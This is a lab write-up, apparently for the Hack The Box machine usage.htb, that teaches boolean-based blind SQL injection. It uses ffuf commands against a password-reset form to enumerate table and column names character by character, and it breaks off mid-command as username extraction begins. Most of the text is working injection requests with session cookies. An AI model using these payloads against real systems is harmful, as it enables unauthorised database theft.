Boolean-based SQL Injection

To test for a boolean-based SQL injection, we just need a boolean condition and observe the page behavior (note how the page responds)

We can use the 1=1 payload to observe how the page behaves when the condition is TRUE. (watch how the page reacts when the statement is true.)

' OR 1=1-- -

alt text

After noting down the page behavior for true statement, we try a false one, using 1=2

' OR 1=2-- -

alt text

Finding the table name

Before doing anything, we need to intercept the request in burp to get the needed parameters and headers (like cookies, tokens and sessions)

alt text

we need also extract the data length when a TRUE condition is met, using ffuf.

I’ll use any random char that will be used as a comment

echo "u" > single_char.txt

Now test a TRUE condition, since the page is redirecting us on every request, we’ll need to follow redirection in ffuf using -r

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6ImYrckpodzdNTCtUKzhTdEhVL0ZJWVE9PSIsInZhbHVlIjoiZUpKNlcxSTNvVkQzN2F5MkV0L2dMWWlMeUEyZWVKNjUzRnBtd3pON2lDelpZSkwvYWdMMXF4b1J2ZkYvd0NPMnVCMXZJMnJwdU00QmNycWVyR0VyRGhUWGZtbzBoSGFqZmxWWXd1Sld5eVowQVRkTlhUcjA1c2hLSXVUejVGM08iLCJtYWMiOiJiMzFkMDM1YjM0YjdiOTM3NDk4ODgzYWI4ODljMmM2ODY1MjUwMmFmZjRlMDk3YTZiYTEyNjIwYjRiOWVmYjMxIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6InBZQ0RWdFZhU0tubmNSTmxIZ3I4R0E9PSIsInZhbHVlIjoib2tUZjVLWitZZkFyQ1dvaWNYSjh6aUZDbUVuTVBvNm9jYkl4b3hQOWsxakU2NnZpVFRPSGpFa2pISmloRDRVd0dVcmVHQmVJL1FFWE85N0J4TG5leVRNVU1wM3crdjh2Q0g1UUxqR1RueUhJcmMzdnVndyt1UlVVZ2xacEVxU0UiLCJtYWMiOiI2ZGNiNjA0YmVkNzEzYjFjN2E3MWJlNDllNDFlOTAwN2RhZWY5MWY1N2U5MmUzN2RmZGFiMWJkMjI3M2M4MDIxIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND 1=1-- -FUZZ" \
  -w single_char.txt:FUZZ \
  -r \
  -t 1

alt text

We got the size 3986

Now let’s try a FALSE statement by using AND 1=2

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6ImYrckpodzdNTCtUKzhTdEhVL0ZJWVE9PSIsInZhbHVlIjoiZUpKNlcxSTNvVkQzN2F5MkV0L2dMWWlMeUEyZWVKNjUzRnBtd3pON2lDelpZSkwvYWdMMXF4b1J2ZkYvd0NPMnVCMXZJMnJwdU00QmNycWVyR0VyRGhUWGZtbzBoSGFqZmxWWXd1Sld5eVowQVRkTlhUcjA1c2hLSXVUejVGM08iLCJtYWMiOiJiMzFkMDM1YjM0YjdiOTM3NDk4ODgzYWI4ODljMmM2ODY1MjUwMmFmZjRlMDk3YTZiYTEyNjIwYjRiOWVmYjMxIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6InBZQ0RWdFZhU0tubmNSTmxIZ3I4R0E9PSIsInZhbHVlIjoib2tUZjVLWitZZkFyQ1dvaWNYSjh6aUZDbUVuTVBvNm9jYkl4b3hQOWsxakU2NnZpVFRPSGpFa2pISmloRDRVd0dVcmVHQmVJL1FFWE85N0J4TG5leVRNVU1wM3crdjh2Q0g1UUxqR1RueUhJcmMzdnVndyt1UlVVZ2xacEVxU0UiLCJtYWMiOiI2ZGNiNjA0YmVkNzEzYjFjN2E3MWJlNDllNDFlOTAwN2RhZWY5MWY1N2U5MmUzN2RmZGFiMWJkMjI3M2M4MDIxIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND 1=2-- -FUZZ" \
  -w single_char.txt:FUZZ \
  -r \
  -t 1

alt text

we got a lower size 3963 for the False statement.

—> we can filter our commands with the exact size 3963? —> not in some cases

In our case, our request is reflected in the page

alt text

so the response size will depend on our request payload.

We can match keywords using -mr this is more reliable in some cases. But not always, as sometimes the page will be just blank or change colors, we need to observe and craft our request based on that.

Now let’s try matching the string “We have e-mailed your password reset link to” when we have a TRUE statement.

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6ImYrckpodzdNTCtUKzhTdEhVL0ZJWVE9PSIsInZhbHVlIjoiZUpKNlcxSTNvVkQzN2F5MkV0L2dMWWlMeUEyZWVKNjUzRnBtd3pON2lDelpZSkwvYWdMMXF4b1J2ZkYvd0NPMnVCMXZJMnJwdU00QmNycWVyR0VyRGhUWGZtbzBoSGFqZmxWWXd1Sld5eVowQVRkTlhUcjA1c2hLSXVUejVGM08iLCJtYWMiOiJiMzFkMDM1YjM0YjdiOTM3NDk4ODgzYWI4ODljMmM2ODY1MjUwMmFmZjRlMDk3YTZiYTEyNjIwYjRiOWVmYjMxIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6InBZQ0RWdFZhU0tubmNSTmxIZ3I4R0E9PSIsInZhbHVlIjoib2tUZjVLWitZZkFyQ1dvaWNYSjh6aUZDbUVuTVBvNm9jYkl4b3hQOWsxakU2NnZpVFRPSGpFa2pISmloRDRVd0dVcmVHQmVJL1FFWE85N0J4TG5leVRNVU1wM3crdjh2Q0g1UUxqR1RueUhJcmMzdnVndyt1UlVVZ2xacEVxU0UiLCJtYWMiOiI2ZGNiNjA0YmVkNzEzYjFjN2E3MWJlNDllNDFlOTAwN2RhZWY5MWY1N2U5MmUzN2RmZGFiMWJkMjI3M2M4MDIxIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND 1=1-- -FUZZ" \
  -w single_char.txt:FUZZ \
  -r \
  -t 1 \
  -mr "We have e-mailed your password reset link to"

as this is a TRUE statement, the page will show the string we added to be matched, so we get a response back

alt text

Now let’s try with a FALSE statement

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6ImYrckpodzdNTCtUKzhTdEhVL0ZJWVE9PSIsInZhbHVlIjoiZUpKNlcxSTNvVkQzN2F5MkV0L2dMWWlMeUEyZWVKNjUzRnBtd3pON2lDelpZSkwvYWdMMXF4b1J2ZkYvd0NPMnVCMXZJMnJwdU00QmNycWVyR0VyRGhUWGZtbzBoSGFqZmxWWXd1Sld5eVowQVRkTlhUcjA1c2hLSXVUejVGM08iLCJtYWMiOiJiMzFkMDM1YjM0YjdiOTM3NDk4ODgzYWI4ODljMmM2ODY1MjUwMmFmZjRlMDk3YTZiYTEyNjIwYjRiOWVmYjMxIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6InBZQ0RWdFZhU0tubmNSTmxIZ3I4R0E9PSIsInZhbHVlIjoib2tUZjVLWitZZkFyQ1dvaWNYSjh6aUZDbUVuTVBvNm9jYkl4b3hQOWsxakU2NnZpVFRPSGpFa2pISmloRDRVd0dVcmVHQmVJL1FFWE85N0J4TG5leVRNVU1wM3crdjh2Q0g1UUxqR1RueUhJcmMzdnVndyt1UlVVZ2xacEVxU0UiLCJtYWMiOiI2ZGNiNjA0YmVkNzEzYjFjN2E3MWJlNDllNDFlOTAwN2RhZWY5MWY1N2U5MmUzN2RmZGFiMWJkMjI3M2M4MDIxIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND 1=2-- -FUZZ" \
  -w single_char.txt:FUZZ \
  -r \
  -t 1 \
  -mr "We have e-mailed your password reset link to"

alt text

we get nothing, since the Matcher did not match the string this time.

Now let’s find the table name

First Table Name character 1

Now we can observe the response length for a known correct character and use that as a reference to match future responses. Since we’re only changing one character at a time, the response size will remain consistent for that character, but it will differ from the response sizes of other TRUE statements we previously measured.

we will created a test_chars.txt wordlist, where we will put out known correct char along with other wrong ones to observe the difference in file size

echo "u\nG\na" > test_chars.txt

we’ll also enable verbose with -v to see the sizes

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6ImYrckpodzdNTCtUKzhTdEhVL0ZJWVE9PSIsInZhbHVlIjoiZUpKNlcxSTNvVkQzN2F5MkV0L2dMWWlMeUEyZWVKNjUzRnBtd3pON2lDelpZSkwvYWdMMXF4b1J2ZkYvd0NPMnVCMXZJMnJwdU00QmNycWVyR0VyRGhUWGZtbzBoSGFqZmxWWXd1Sld5eVowQVRkTlhUcjA1c2hLSXVUejVGM08iLCJtYWMiOiJiMzFkMDM1YjM0YjdiOTM3NDk4ODgzYWI4ODljMmM2ODY1MjUwMmFmZjRlMDk3YTZiYTEyNjIwYjRiOWVmYjMxIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6InBZQ0RWdFZhU0tubmNSTmxIZ3I4R0E9PSIsInZhbHVlIjoib2tUZjVLWitZZkFyQ1dvaWNYSjh6aUZDbUVuTVBvNm9jYkl4b3hQOWsxakU2NnZpVFRPSGpFa2pISmloRDRVd0dVcmVHQmVJL1FFWE85N0J4TG5leVRNVU1wM3crdjh2Q0g1UUxqR1RueUhJcmMzdnVndyt1UlVVZ2xacEVxU0UiLCJtYWMiOiI2ZGNiNjA0YmVkNzEzYjFjN2E3MWJlNDllNDFlOTAwN2RhZWY5MWY1N2U5MmUzN2RmZGFiMWJkMjI3M2M4MDIxIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1)= 'FUZZ' -- -" \
  -w test_chars.txt:FUZZ \
  -r \
  -t 1 \
  -v

alt text

we notice that our known correct character “a” has a bigger response size than the other, 4103 which is even bigger than our 1=1 TRUE statement which was 3986

Now we can confidently start enumerating the table name by matching the length 4103

Well create a list of chars without special characters (for faster brute force) since we will not use this to enumerate passwords, we’ll create a separate one when we brute force passwords.

printf "%s\n"  {a..z} {A..Z} {0..9} . _ - @ : > regular_chars.txt

we used printf to have each character on its own line. ( we only eliminated !, $, &,* which are mostly used in passwords not names)

Now let’s start the scan

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6ImYrckpodzdNTCtUKzhTdEhVL0ZJWVE9PSIsInZhbHVlIjoiZUpKNlcxSTNvVkQzN2F5MkV0L2dMWWlMeUEyZWVKNjUzRnBtd3pON2lDelpZSkwvYWdMMXF4b1J2ZkYvd0NPMnVCMXZJMnJwdU00QmNycWVyR0VyRGhUWGZtbzBoSGFqZmxWWXd1Sld5eVowQVRkTlhUcjA1c2hLSXVUejVGM08iLCJtYWMiOiJiMzFkMDM1YjM0YjdiOTM3NDk4ODgzYWI4ODljMmM2ODY1MjUwMmFmZjRlMDk3YTZiYTEyNjIwYjRiOWVmYjMxIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6InBZQ0RWdFZhU0tubmNSTmxIZ3I4R0E9PSIsInZhbHVlIjoib2tUZjVLWitZZkFyQ1dvaWNYSjh6aUZDbUVuTVBvNm9jYkl4b3hQOWsxakU2NnZpVFRPSGpFa2pISmloRDRVd0dVcmVHQmVJL1FFWE85N0J4TG5leVRNVU1wM3crdjh2Q0g1UUxqR1RueUhJcmMzdnVndyt1UlVVZ2xacEVxU0UiLCJtYWMiOiI2ZGNiNjA0YmVkNzEzYjFjN2E3MWJlNDllNDFlOTAwN2RhZWY5MWY1N2U5MmUzN2RmZGFiMWJkMjI3M2M4MDIxIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1)= 'FUZZ' -- -" \
  -w regular_chars.txt:FUZZ \
  -r \
  -t 1 \
  -ms 4103

alt text

for some reason, increasing threads always missed our character.

We can also get the same response by matching the string “We have e-mailed your password reset link to” using -mr

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6ImYrckpodzdNTCtUKzhTdEhVL0ZJWVE9PSIsInZhbHVlIjoiZUpKNlcxSTNvVkQzN2F5MkV0L2dMWWlMeUEyZWVKNjUzRnBtd3pON2lDelpZSkwvYWdMMXF4b1J2ZkYvd0NPMnVCMXZJMnJwdU00QmNycWVyR0VyRGhUWGZtbzBoSGFqZmxWWXd1Sld5eVowQVRkTlhUcjA1c2hLSXVUejVGM08iLCJtYWMiOiJiMzFkMDM1YjM0YjdiOTM3NDk4ODgzYWI4ODljMmM2ODY1MjUwMmFmZjRlMDk3YTZiYTEyNjIwYjRiOWVmYjMxIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6InBZQ0RWdFZhU0tubmNSTmxIZ3I4R0E9PSIsInZhbHVlIjoib2tUZjVLWitZZkFyQ1dvaWNYSjh6aUZDbUVuTVBvNm9jYkl4b3hQOWsxakU2NnZpVFRPSGpFa2pISmloRDRVd0dVcmVHQmVJL1FFWE85N0J4TG5leVRNVU1wM3crdjh2Q0g1UUxqR1RueUhJcmMzdnVndyt1UlVVZ2xacEVxU0UiLCJtYWMiOiI2ZGNiNjA0YmVkNzEzYjFjN2E3MWJlNDllNDFlOTAwN2RhZWY5MWY1N2U5MmUzN2RmZGFiMWJkMjI3M2M4MDIxIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1)= 'FUZZ' -- -" \
  -w regular_chars.txt:FUZZ \
  -r \
  -t 1 \
  -mr "We have e-mailed your password reset link to"

First Table Name character 2

just adjust SUBSTRING(table_name,==2==,1)

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6ImYrckpodzdNTCtUKzhTdEhVL0ZJWVE9PSIsInZhbHVlIjoiZUpKNlcxSTNvVkQzN2F5MkV0L2dMWWlMeUEyZWVKNjUzRnBtd3pON2lDelpZSkwvYWdMMXF4b1J2ZkYvd0NPMnVCMXZJMnJwdU00QmNycWVyR0VyRGhUWGZtbzBoSGFqZmxWWXd1Sld5eVowQVRkTlhUcjA1c2hLSXVUejVGM08iLCJtYWMiOiJiMzFkMDM1YjM0YjdiOTM3NDk4ODgzYWI4ODljMmM2ODY1MjUwMmFmZjRlMDk3YTZiYTEyNjIwYjRiOWVmYjMxIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6InBZQ0RWdFZhU0tubmNSTmxIZ3I4R0E9PSIsInZhbHVlIjoib2tUZjVLWitZZkFyQ1dvaWNYSjh6aUZDbUVuTVBvNm9jYkl4b3hQOWsxakU2NnZpVFRPSGpFa2pISmloRDRVd0dVcmVHQmVJL1FFWE85N0J4TG5leVRNVU1wM3crdjh2Q0g1UUxqR1RueUhJcmMzdnVndyt1UlVVZ2xacEVxU0UiLCJtYWMiOiI2ZGNiNjA0YmVkNzEzYjFjN2E3MWJlNDllNDFlOTAwN2RhZWY5MWY1N2U5MmUzN2RmZGFiMWJkMjI3M2M4MDIxIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT SUBSTRING(table_name,2,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1)= 'FUZZ' -- -" \
  -w regular_chars.txt:FUZZ \
  -r \
  -t 1 \
  -mr "We have e-mailed your password reset link to"

First Table Name Guess

We’ll guess the first table name “admin_menu” by selecting table_name (not just the first character using substring) and test against the wordlist table.txt

echo "admin_menu" > table.txt

Then start the fuzzing

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6ImYrckpodzdNTCtUKzhTdEhVL0ZJWVE9PSIsInZhbHVlIjoiZUpKNlcxSTNvVkQzN2F5MkV0L2dMWWlMeUEyZWVKNjUzRnBtd3pON2lDelpZSkwvYWdMMXF4b1J2ZkYvd0NPMnVCMXZJMnJwdU00QmNycWVyR0VyRGhUWGZtbzBoSGFqZmxWWXd1Sld5eVowQVRkTlhUcjA1c2hLSXVUejVGM08iLCJtYWMiOiJiMzFkMDM1YjM0YjdiOTM3NDk4ODgzYWI4ODljMmM2ODY1MjUwMmFmZjRlMDk3YTZiYTEyNjIwYjRiOWVmYjMxIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6InBZQ0RWdFZhU0tubmNSTmxIZ3I4R0E9PSIsInZhbHVlIjoib2tUZjVLWitZZkFyQ1dvaWNYSjh6aUZDbUVuTVBvNm9jYkl4b3hQOWsxakU2NnZpVFRPSGpFa2pISmloRDRVd0dVcmVHQmVJL1FFWE85N0J4TG5leVRNVU1wM3crdjh2Q0g1UUxqR1RueUhJcmMzdnVndyt1UlVVZ2xacEVxU0UiLCJtYWMiOiI2ZGNiNjA0YmVkNzEzYjFjN2E3MWJlNDllNDFlOTAwN2RhZWY5MWY1N2U5MmUzN2RmZGFiMWJkMjI3M2M4MDIxIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1)= 'FUZZ' -- -" \
  -w table.txt:FUZZ \
  -r \
  -t 1 \
  -mr "We have e-mailed your password reset link to"

Finding the column names

First Column Name character 1

we’ll change table_name with column_name and FROM information_schema.tables to FROM information_schema.columns

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6ImYrckpodzdNTCtUKzhTdEhVL0ZJWVE9PSIsInZhbHVlIjoiZUpKNlcxSTNvVkQzN2F5MkV0L2dMWWlMeUEyZWVKNjUzRnBtd3pON2lDelpZSkwvYWdMMXF4b1J2ZkYvd0NPMnVCMXZJMnJwdU00QmNycWVyR0VyRGhUWGZtbzBoSGFqZmxWWXd1Sld5eVowQVRkTlhUcjA1c2hLSXVUejVGM08iLCJtYWMiOiJiMzFkMDM1YjM0YjdiOTM3NDk4ODgzYWI4ODljMmM2ODY1MjUwMmFmZjRlMDk3YTZiYTEyNjIwYjRiOWVmYjMxIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6InBZQ0RWdFZhU0tubmNSTmxIZ3I4R0E9PSIsInZhbHVlIjoib2tUZjVLWitZZkFyQ1dvaWNYSjh6aUZDbUVuTVBvNm9jYkl4b3hQOWsxakU2NnZpVFRPSGpFa2pISmloRDRVd0dVcmVHQmVJL1FFWE85N0J4TG5leVRNVU1wM3crdjh2Q0g1UUxqR1RueUhJcmMzdnVndyt1UlVVZ2xacEVxU0UiLCJtYWMiOiI2ZGNiNjA0YmVkNzEzYjFjN2E3MWJlNDllNDFlOTAwN2RhZWY5MWY1N2U5MmUzN2RmZGFiMWJkMjI3M2M4MDIxIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_schema=DATABASE() LIMIT 0,1)= 'FUZZ' -- -" \
  -w regular_chars.txt:FUZZ \
  -r \
  -t 1 \
  -mr "We have e-mailed your password reset link to"

Second Column Name character 1

we can use an env variable “pos” to make things faster rather than editing the ffuf command each time, we just update the “pos” variable

export pos=1

and adjust LIMIT ==1==,1 for second column name.

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6ImYrckpodzdNTCtUKzhTdEhVL0ZJWVE9PSIsInZhbHVlIjoiZUpKNlcxSTNvVkQzN2F5MkV0L2dMWWlMeUEyZWVKNjUzRnBtd3pON2lDelpZSkwvYWdMMXF4b1J2ZkYvd0NPMnVCMXZJMnJwdU00QmNycWVyR0VyRGhUWGZtbzBoSGFqZmxWWXd1Sld5eVowQVRkTlhUcjA1c2hLSXVUejVGM08iLCJtYWMiOiJiMzFkMDM1YjM0YjdiOTM3NDk4ODgzYWI4ODljMmM2ODY1MjUwMmFmZjRlMDk3YTZiYTEyNjIwYjRiOWVmYjMxIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6InBZQ0RWdFZhU0tubmNSTmxIZ3I4R0E9PSIsInZhbHVlIjoib2tUZjVLWitZZkFyQ1dvaWNYSjh6aUZDbUVuTVBvNm9jYkl4b3hQOWsxakU2NnZpVFRPSGpFa2pISmloRDRVd0dVcmVHQmVJL1FFWE85N0J4TG5leVRNVU1wM3crdjh2Q0g1UUxqR1RueUhJcmMzdnVndyt1UlVVZ2xacEVxU0UiLCJtYWMiOiI2ZGNiNjA0YmVkNzEzYjFjN2E3MWJlNDllNDFlOTAwN2RhZWY5MWY1N2U5MmUzN2RmZGFiMWJkMjI3M2M4MDIxIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT SUBSTRING(column_name,"$pos",1) FROM information_schema.columns WHERE table_schema=DATABASE() LIMIT 1,1)= 'FUZZ' -- -" \
  -w regular_chars.txt:FUZZ \
  -r \
  -t 1 \
  -mr "We have e-mailed your password reset link to"

First Column Name Guess

We know that the first column name is “id” so we’ll use a file with id inside of it. Then replace SUBSTRING(column_name,1,1) with column_name.

echo "id" > id.txt
ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6ImYrckpodzdNTCtUKzhTdEhVL0ZJWVE9PSIsInZhbHVlIjoiZUpKNlcxSTNvVkQzN2F5MkV0L2dMWWlMeUEyZWVKNjUzRnBtd3pON2lDelpZSkwvYWdMMXF4b1J2ZkYvd0NPMnVCMXZJMnJwdU00QmNycWVyR0VyRGhUWGZtbzBoSGFqZmxWWXd1Sld5eVowQVRkTlhUcjA1c2hLSXVUejVGM08iLCJtYWMiOiJiMzFkMDM1YjM0YjdiOTM3NDk4ODgzYWI4ODljMmM2ODY1MjUwMmFmZjRlMDk3YTZiYTEyNjIwYjRiOWVmYjMxIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6InBZQ0RWdFZhU0tubmNSTmxIZ3I4R0E9PSIsInZhbHVlIjoib2tUZjVLWitZZkFyQ1dvaWNYSjh6aUZDbUVuTVBvNm9jYkl4b3hQOWsxakU2NnZpVFRPSGpFa2pISmloRDRVd0dVcmVHQmVJL1FFWE85N0J4TG5leVRNVU1wM3crdjh2Q0g1UUxqR1RueUhJcmMzdnVndyt1UlVVZ2xacEVxU0UiLCJtYWMiOiI2ZGNiNjA0YmVkNzEzYjFjN2E3MWJlNDllNDFlOTAwN2RhZWY5MWY1N2U5MmUzN2RmZGFiMWJkMjI3M2M4MDIxIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() LIMIT 0,1)= 'FUZZ' -- -" \
  -w id.txt:FUZZ \
  -r \
  -t 1 \
  -mr "We have e-mailed your password reset link to"

Since we did not specify the table name

Step-by-step explanation:

  1. information_schema.columns

    • This is a system table in MySQL that contains metadata about all columns in all tables of all databases.
    • Each row represents a column, with fields like table_name, column_name, data_type, etc.
  2. WHERE table_schema = DATABASE()

    • table_schema is the database name that the column belongs to.
    • DATABASE() is a MySQL function that returns the current database you are connected to.
    • So this filter limits the results to columns only in the current database.
  3. SELECT column_name

    • This retrieves the names of the columns in all tables of the current database.
  4. LIMIT 0,1

    • LIMIT 0,1 means return only the first row of the result set.
    • 0 is the starting offset (first row), 1 is the number of rows to return.

✅ In short:

This query will return the name of the first column (based on internal ordering in information_schema) of any table in the current database.

If we want to select a specific table we use

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6ImYrckpodzdNTCtUKzhTdEhVL0ZJWVE9PSIsInZhbHVlIjoiZUpKNlcxSTNvVkQzN2F5MkV0L2dMWWlMeUEyZWVKNjUzRnBtd3pON2lDelpZSkwvYWdMMXF4b1J2ZkYvd0NPMnVCMXZJMnJwdU00QmNycWVyR0VyRGhUWGZtbzBoSGFqZmxWWXd1Sld5eVowQVRkTlhUcjA1c2hLSXVUejVGM08iLCJtYWMiOiJiMzFkMDM1YjM0YjdiOTM3NDk4ODgzYWI4ODljMmM2ODY1MjUwMmFmZjRlMDk3YTZiYTEyNjIwYjRiOWVmYjMxIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6InBZQ0RWdFZhU0tubmNSTmxIZ3I4R0E9PSIsInZhbHVlIjoib2tUZjVLWitZZkFyQ1dvaWNYSjh6aUZDbUVuTVBvNm9jYkl4b3hQOWsxakU2NnZpVFRPSGpFa2pISmloRDRVd0dVcmVHQmVJL1FFWE85N0J4TG5leVRNVU1wM3crdjh2Q0g1UUxqR1RueUhJcmMzdnVndyt1UlVVZ2xacEVxU0UiLCJtYWMiOiI2ZGNiNjA0YmVkNzEzYjFjN2E3MWJlNDllNDFlOTAwN2RhZWY5MWY1N2U5MmUzN2RmZGFiMWJkMjI3M2M4MDIxIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='admin_menu' LIMIT 0,1)= 'FUZZ' -- -" \
  -w id.txt:FUZZ \
  -r \
  -t 1 \
  -mr "We have e-mailed your password reset link to"

First Column Name Guess

we’ll change LIMIT 0,1 with LIMIT ==1==,1

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6ImYrckpodzdNTCtUKzhTdEhVL0ZJWVE9PSIsInZhbHVlIjoiZUpKNlcxSTNvVkQzN2F5MkV0L2dMWWlMeUEyZWVKNjUzRnBtd3pON2lDelpZSkwvYWdMMXF4b1J2ZkYvd0NPMnVCMXZJMnJwdU00QmNycWVyR0VyRGhUWGZtbzBoSGFqZmxWWXd1Sld5eVowQVRkTlhUcjA1c2hLSXVUejVGM08iLCJtYWMiOiJiMzFkMDM1YjM0YjdiOTM3NDk4ODgzYWI4ODljMmM2ODY1MjUwMmFmZjRlMDk3YTZiYTEyNjIwYjRiOWVmYjMxIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6InBZQ0RWdFZhU0tubmNSTmxIZ3I4R0E9PSIsInZhbHVlIjoib2tUZjVLWitZZkFyQ1dvaWNYSjh6aUZDbUVuTVBvNm9jYkl4b3hQOWsxakU2NnZpVFRPSGpFa2pISmloRDRVd0dVcmVHQmVJL1FFWE85N0J4TG5leVRNVU1wM3crdjh2Q0g1UUxqR1RueUhJcmMzdnVndyt1UlVVZ2xacEVxU0UiLCJtYWMiOiI2ZGNiNjA0YmVkNzEzYjFjN2E3MWJlNDllNDFlOTAwN2RhZWY5MWY1N2U5MmUzN2RmZGFiMWJkMjI3M2M4MDIxIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='admin_menu' LIMIT 1,1)= 'FUZZ' -- -" \
  -w id.txt:FUZZ \
  -r \
  -t 1 \
  -mr "We have e-mailed your password reset link to"

Finding the column Data

First Username character 1

we’ll use the c env variable for that

export c=1
ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
